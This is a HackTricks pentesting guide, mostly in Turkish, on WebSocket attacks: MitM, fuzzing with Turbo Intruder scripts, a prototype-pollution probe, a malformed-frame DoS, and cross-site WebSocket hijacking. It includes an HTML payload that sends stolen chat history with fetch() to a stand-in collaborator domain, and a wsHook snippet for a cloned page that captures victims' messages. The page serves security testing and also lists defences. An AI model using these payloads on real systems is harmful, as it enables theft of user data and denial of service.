hacktricks/src/pentesting-web/websocket-attacks.md

316 lines
20 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WebSocket Attacks
{{#include ../banners/hacktricks-training.md}}
## WebSockets nedir
WebSocket bağlantıları başlangıçta bir **HTTP** handshake ile kurulur ve **long-lived** olacak şekilde tasarlanmıştır; bu sayede transactional bir sisteme ihtiyaç duymadan her zaman çift yönlü mesajlaşmaya izin verir. Bu, canlı finansal veri akışları gibi **düşük gecikme veya server-initiated communication** gerektiren uygulamalar için WebSockets'i özellikle avantajlı kılar.
### WebSocket Bağlantılarının Kurulması
WebSocket bağlantılarının kurulmasına dair detaylı bir açıklamaya [**burada**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) ulaşılabilir. Özetle, WebSocket bağlantıları genellikle aşağıda gösterildiği gibi istemci tarafı JavaScript ile başlatılır:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws")
```
`wss` protokolü **TLS** ile güvenli hale getirilmiş bir WebSocket bağlantısını ifade ederken, `ws` **güvenli olmayan** bir bağlantıyı gösterir.
Bağlantı kurulurken, HTTP üzerinden tarayıcı ile sunucu arasında bir handshake gerçekleştirilir. Handshake süreci tarayıcının bir istek göndermesini ve sunucunun yanıt vermesini içerir; aşağıdaki örneklerde gösterildiği gibi:
Tarayıcı bir handshake isteği gönderir:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Sunucunun handshake yanıtı:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
Bağlantı kurulduktan sonra iki yönlü mesaj alışverişi için açık kalır.
**WebSocket Handshake'in Temel Noktaları:**
- The `Connection` and `Upgrade` headers signal the initiation of a WebSocket handshake.
- The `Sec-WebSocket-Version` header indicates the desired WebSocket protocol version, usually `13`.
- A Base64-encoded random value is sent in the `Sec-WebSocket-Key` header, ensuring each handshake is unique, which helps to prevent issues with caching proxies. This value is not for authentication but to confirm that the response is not generated by a misconfigured server or cache.
- The `Sec-WebSocket-Accept` header in the server's response is a hash of the `Sec-WebSocket-Key`, verifying the server's intention to open a WebSocket connection.
Bu özellikler handshake sürecinin güvenli ve güvenilir olmasını sağlar ve verimli gerçek zamanlı iletişim için zemin hazırlar.
### Linux konsolu
`websocat` kullanarak bir websocket ile ham bağlantı kurabilirsiniz.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
Veya bir websocat sunucusu oluşturmak için:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket bağlantıları
Eğer istemcilerin mevcut yerel ağınızdan bir **HTTP websocket**e bağlı olduğunu tespit ederseniz, istemci ile sunucu arasında bir MitM saldırısı gerçekleştirmek için bir [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) deneyebilirsiniz.\
İstemci size bağlanmaya çalışırken şu araçları kullanabilirsiniz:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets keşfi
Websockets üzerinde bilinen **vulnerabilities**'ları otomatik olarak keşfetmek, fingerprint almak ve aramak için **araç** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) kullanabilirsiniz.
### Websocket Debug araçları
- **Burp Suite** MitM websockets iletişimini, normal HTTP iletişimine yaptığına çok benzer bir şekilde destekler.
- The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** Burp içinde Websocket iletişimlerini daha iyi yönetmenizi sağlar; **history**'yi görme, **interception rules** ayarlama, **match and replace** kuralları kullanma, **Intruder** ve **AutoRepeater** kullanma gibi imkanlar sunar.
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Short for "**WebSocket/Socket.io Proxy**", Node.js ile yazılmış bu araç, client ve server arasındaki tüm WebSocket ve Socket.IO iletişimlerini görüntülemek ve mesajları **capture, intercept, send custom** etmek için bir kullanıcı arayüzü sağlar.
- [**wsrepl**](https://github.com/doyensec/wsrepl) pentesting için özel olarak tasarlanmış bir **interactive websocket REPL**'dir. **incoming websocket messages and sending new ones**'ı gözlemlemek ve yeni mesajlar göndermek için bir arayüz sağlar; bu iletişimi **automating** etmek için kullanımı kolay bir framework içerir.
- [**https://websocketking.com/**](https://websocketking.com/) **diğer web'lerle iletişim kurmak için bir web** sağlayan ve **websockets** kullanan bir web aracıdır.
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) diğer iletişim/protokol türleri arasında, **websockets** kullanarak diğer web'lerle iletişim kurmak için bir **web** sağlar.
## Decrypting Websocket
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
## Websocket Lab
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) içinde websockets kullanan bir web başlatmak için örnek kod bulunur ve [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) içinde bir açıklama bulabilirsiniz.
## Websocket Fuzzing
Burp uzantısı [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) artık WebSocket mesajlarını da fuzz etmeye izin veriyor. Bu konuda daha fazla bilgiyi [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner) adresinde bulabilirsiniz.
### WebSocket Turbo Intruder (Burp extension)
PortSwigger'ın WebSocket Turbo Intruder'ı Turbo Intrudertarzı Python scripting ve yüksek hızda fuzzing'i WebSockets'e getirir. BApp Store'dan veya kaynaktan yükleyin. İki bileşenden oluşur:
- Turbo Intruder: custom engines kullanarak tek bir WS endpoint'ine yüksek hacimli mesaj gönderimi.
- HTTP Middleware: yerel bir HTTP endpoint'i açar ve gövdeleri persistent bir bağlantı üzerinden WS mesajları olarak iletir, böylece herhangi bir HTTPtabanlı scanner WS backend'lerini test edebilir.
Bir WS endpoint'ini fuzz etmek ve ilgili yanıtları filtrelemek için temel script yapısı:
```python
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
Tek bir mesaj birden fazla yanıt tetiklediğinde gürültüyü azaltmak için `@MatchRegex(...)` gibi dekoratörler kullanın.
### HTTP arkasında WS Köprüsü (HTTP Middleware)
Sürekli bir WS bağlantısını sarın ve HTTP gövdelerini WS mesajları olarak ileterek HTTP tarama araçlarıyla otomatik testler yapın:
```python
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
Sonra HTTP'yi yerel olarak gönder; body WS mesajı olarak iletilir:
```http
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
```
Bu, WS backend'lerini kontrol etmenizi ve "ilginç" olaylar (örn. SQLi hataları, auth bypass, command injection davranışı) için filtreleme yapmanızı sağlar.
### Socket.IO handling (handshake, heartbeats, events)
Socket.IO, WS'nin üzerine kendi çerçevelemesini ekler. Zorunlu sorgu parametresi `EIO` (örn. `EIO=4`) ile tespit edin. Oturumu Ping (`2`) ve Pong (`3`) ile canlı tutun ve konuşmayı `"40"` ile başlatın; ardından `42["message","hello"]` gibi olaylar gönderin.
Intruder example:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
HTTP adaptör varyantı:
```python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
```
### Socket.IO aracılığıyla server-side prototype pollution tespiti
PortSwiggerın güvenli tespit tekniğini takip ederek, Express iç yapılarını şu gibi bir payload göndererek kirletmeyi deneyin:
```json
{"__proto__":{"initialPacket":"Polluted"}}
```
Eğer selamlaşmalar veya davranış değişiyorsa (ör. echo içinde "Polluted" görünüyorsa), muhtemelen server-side prototypes kirlendi. Etki, ulaşılabilir sinks'e bağlıdır; Node.js prototype pollution bölümündeki gadgets ile korelasyon kurun. Bakın:
- Check [NodeJS __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas.
### WebSocket race conditions with Turbo Intruder
Varsayılan engine mesajları tek bir connection üzerinde batch'ler (büyük throughput, yarışlar için zayıf). Paralel olarak mantık yarışlarını tetiklemek (doublespend, token reuse, state desync) için birden fazla WS connection oluşturmak ve payloadları paralel ateşlemek üzere THREADED engine'i kullanın. Örnek script ile başlayın ve `config()` içinde concurrency'i ayarlayın.
- Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”).
### WebSocket DoS: malformed frame “Ping of Death”
Header'ı büyük bir payload length olarak beyan eden fakat body göndermeyen WS frame'leri oluşturun. Bazı WS server'ları length'e güvenip buffer önayırır; bunu `Integer.MAX_VALUE` civarına ayarlamak OutOfMemory ve uzaktan yetkisiz DoS'e yol açabilir. Örnek script'e bakın.
### CLI and debugging
- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
- WS Logger'ı etkinleştirerek mesajları internal IDs ile yakalayın ve korelasyon kurun.
- Karmaşık adapter'larda mesaj ID işleme davranışını ince ayarlamak için `Connection` üzerinde `inc*`/`dec*` helper'larını kullanın.
- `@PingPong`/`@Pong` gibi dekoratörler ve `isInteresting()` gibi helper'lar gürültüyü azaltır ve oturumları canlı tutar.
### Operational safety
Yüksek hızlı WS fuzzing, çok sayıda connection açabilir ve saniyede binlerce mesaj gönderebilir. Malformed frame'ler ve yüksek hızlar gerçek DoS'a neden olabilir. Yalnızca izin verilen yerlerde kullanın.
## Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, diğer adıyla cross-origin WebSocket hijacking, WebSocket handshakes'i etkileyen özel bir [Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md) vakası olarak tanımlanır. Bu zafiyet, WebSocket handshakes'in yalnızca HTTP cookies ile kimlik doğrulaması yaptığı ve CSRF token'ları veya benzeri güvenlik önlemleri kullanılmadığı durumlarda ortaya çıkar.
Saldırganlar bunu, savunmasız uygulamaya cross-site WebSocket bağlantısı başlatan bir kötücül web sayfası barındırarak suistimal edebilir. Sonuç olarak, bu bağlantı uygulama ile kurbanın oturumunun bir parçası olarak değerlendirilir; bu, oturum yönetim mekanizmasında CSRF koruması eksikliğinin suistimal edilmesidir.
Bu saldırının işe yaraması için gereksinimler şunlardır:
- websocket authentication must be cookie based
- Cookie'nin saldırganın sunucusundan erişilebilir olması gerekir (genellikle bu **`SameSite=None`** anlamına gelir) ve Firefox'ta **Firefox Total Cookie Protection** etkin olmamalı ve Chrome'da **blocked third-party cookies** engellenmemiş olmalıdır.
- websocket server bağlantının origin'ini kontrol etmemeli (veya bu bypass edilebilir olmalı)
Ayrıca:
- Eğer authentication localhost veya yerel ağ gibi lokal bir bağlantıya dayanıyorsa, mevcut herhangi bir koruma bunu yasaklamadığı için saldırı **mümkün olacaktır** (daha fazla bilgi için bakın: [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
### Simple Attack
websocket connection kurulduğunda cookie'nin server'a gönderildiğini unutmayın. Server, gönderilen cookie'ye dayanarak her bir specific user'ı onun websocket session'ı ile ilişkilendirmek için bunu kullanıyor olabilir.
Örneğin, eğer websocket server bir kullanıcıya ait konuşma geçmişini bir msg ile "**READY**" gönderildiğinde geri döndürüyor ise, bağlantıyı kuran basit bir XSS (cookie, victim user'ı yetkilendirmek için otomatik olarak gönderilecektir) "**READY**" göndererek konuşma geçmişini elde edebilecektir.
```html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Cross Origin + Cookie with a different subdomain
In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) saldırgan, web socket iletişiminin gerçekleştiği domain'in bir **subdomain**inde **execute arbitrary Javascript in a subdomain** çalıştırmayı başardı. Çünkü orası bir **subdomain** olduğu için, **cookie** was being **sent**, ve çünkü **Websocket didn't check the Origin properly**, onunla iletişim kurulup **steal tokens from it** mümkün oldu.
### Stealing data from user
Taklit etmek istediğiniz web uygulamasını (.html files for example) kopyalayın ve websocket iletişiminin gerçekleştiği script içinde şu kodu ekleyin:
```javascript
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
```
Şimdi `wsHook.js` dosyasını [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) adresinden indirin ve **web dosyalarının bulunduğu klasöre kaydedin**.\
Web uygulamasınıığa çıkarıp bir kullanıcının bağlanmasını sağlarsanız, websocket üzerinden gönderilen ve alınan mesajları çalabilirsiniz:
```javascript
sudo python3 -m http.server 80
```
### CSWSH Koruma Önlemleri
CSWSH saldırısı, bir **kullanıcının kötü amaçlı bir sayfaya bağlanması** ve bu sayfanın kullanıcının zaten bağlı olduğu bir web sayfasına **websocket bağlantısı açması** ve isteğin kullanıcının çerezlerini göndermesi nedeniyle onun yerine kimlik doğrulaması yapması gerçeğine dayanır.
Günümüzde bu sorunu önlemek çok kolay:
- **Websocket sunucusunun origin'i kontrol etmesi**: Websocket sunucusu, beklenmeyen sayfaların bağlanmasını engellemek için her zaman kullanıcının nereden bağlandığını kontrol etmelidir.
- **Kimlik doğrulama token'ı**: Kimlik doğrulamayı bir cookie üzerine kurmak yerine, websocket bağlantısı sunucu tarafından kullanıcı için üretilen ve saldırganın bilmediği bir token'a dayanabilir (ör. anti-CSRF token).
- **SameSite Cookie attribute**: `SameSite` değeri `Lax` veya `Strict` olan çerezler, harici bir saldırganın sayfasından victim sunucuya gönderilmeyecektir; dolayısıyla çerez bazlı kimlik doğrulama başarılı olmaz. Not: Chrome artık bu flag belirtilmemiş çerezlere varsayılan olarak **`Lax`** değerini atayarak bunu daha güvenli hale getirir. Ancak bir çerez oluşturulduktan sonraki ilk 2 dakika boyunca değeri **`None`** olur ve bu sınırlı süre içinde saldırıya açık kalır (ayrıca bu önlemin bir noktada kaldırılması bekleniyor).
- **Firefox Total Cookie Protection**: Total Cookie Protection, çerezleri oluşturuldukları siteye izole ederek çalışır. Temelde her site, üçüncü tarafların kullanıcının gezinme geçmişini birbirine bağlamasını engellemek için kendi çerez depolama bölümüne sahiptir. Bu, saldırganın siteye çerezlere erişemeyeceği anlamına geldiğinden **CSWSH'i kullanılamaz hale getirir**.
- **Chrome third-party cookies block**: Bu, `SameSite=None` olsa bile doğrulanmış kullanıcının çerezinin websocket sunucusuna gönderilmesini engelleyebilir.
## Race Conditions
WebSockets'te Race Conditions da mümkündür, daha fazla bilgi için [check this information to learn more](race-condition.md#rc-in-websockets).
## Diğer zafiyetler
Web Sockets, **sunucu tarafına ve istemci tarafına veri göndermek** için bir mekanizma olduğundan, sunucu ve istemcinin bilgiyi nasıl işlediğine bağlı olarak, **Web Sockets aracılığıyla bir kullanıcının girdiği veriler kullanılarak XSS, SQLi veya diğer yaygın web zafiyetleri** istismar edilebilir.
## **WebSocket Smuggling**
Bu zafiyet, ters proxy kısıtlamalarını **websocket iletişimi kurulduğuna** inandırarak (gerçekte kurulmamış olsa bile) atlatmanıza izin verebilir. Bu, bir saldırganın **gizli endpoint'lere erişmesine** olanak sağlayabilir. Daha fazla bilgi için aşağıdaki sayfaya bakın:
{{#ref}}
h2c-smuggling.md
{{#endref}}
## References
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [WebSocket Turbo Intruder BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
- [WebSocketTurboIntruder GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
- [Server-side prototype pollution safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
{{#include ../banners/hacktricks-training.md}}